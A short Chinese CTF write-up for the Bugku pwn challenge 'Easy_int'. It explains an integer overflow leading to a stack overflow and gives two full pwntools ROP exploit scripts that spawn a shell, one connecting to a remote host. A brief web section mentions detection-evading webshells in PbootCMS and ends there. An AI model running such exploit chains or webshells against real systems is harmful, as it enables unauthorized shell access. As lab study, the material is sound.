PWN
本次pwn题是bugku上的pwn题Easy_int,这里做个简单分析。
查看保护,只有NX保护
ida F5分析
这里有个简单整数溢出,输入2147483648,执行vuln函数,
buf这里有个很明显的栈溢出,存在system函数,但是参数不是/bin/sh。Shirt + F12查找字符串,存在字符/bin/sh
所以思路很明确,利用这里的栈溢出修改system的参数,拿shell,
64位程序,我们需要先控制rdi寄存器,因此构造rop链:b’a’*(0x20+8)+p64(pop_rdi_ret)+p64(binsh)+p64(system),这里需要考虑下堆栈平衡,加个ret或者直接call _system,给出两个版本代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import *
pop_rdi_ret=0x401343 ret=0x40101a binsh=0x403500 call_system=0x4011F0 p.sendline(b'2147483648')
p.recvuntil(b'Congratulations!')
p.sendline(b'a'*0x28+p64(pop_rdi_ret)+p64(binsh)+p64(call_system))
p.interactive()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import*
p=remote('114.67.175.224',17977) elf = ELF ('./pwn') system=elf.plt["system"]
pop_rdi_ret=0x401343 ret=0x40101a binsh=0x403500
payload = b'a' * (0x20+8) payload += p64(ret) payload += p64(pop_rdi_ret) payload += p64(binsh) payload += p64(system) p.sendline(b'2147483648') p.sendlineafter(b'Congratulations!',payload) p.interactive()
|
Web
D盾扫描,存在两个过狗一句话
网站cms是PbootCMS V3.0.1,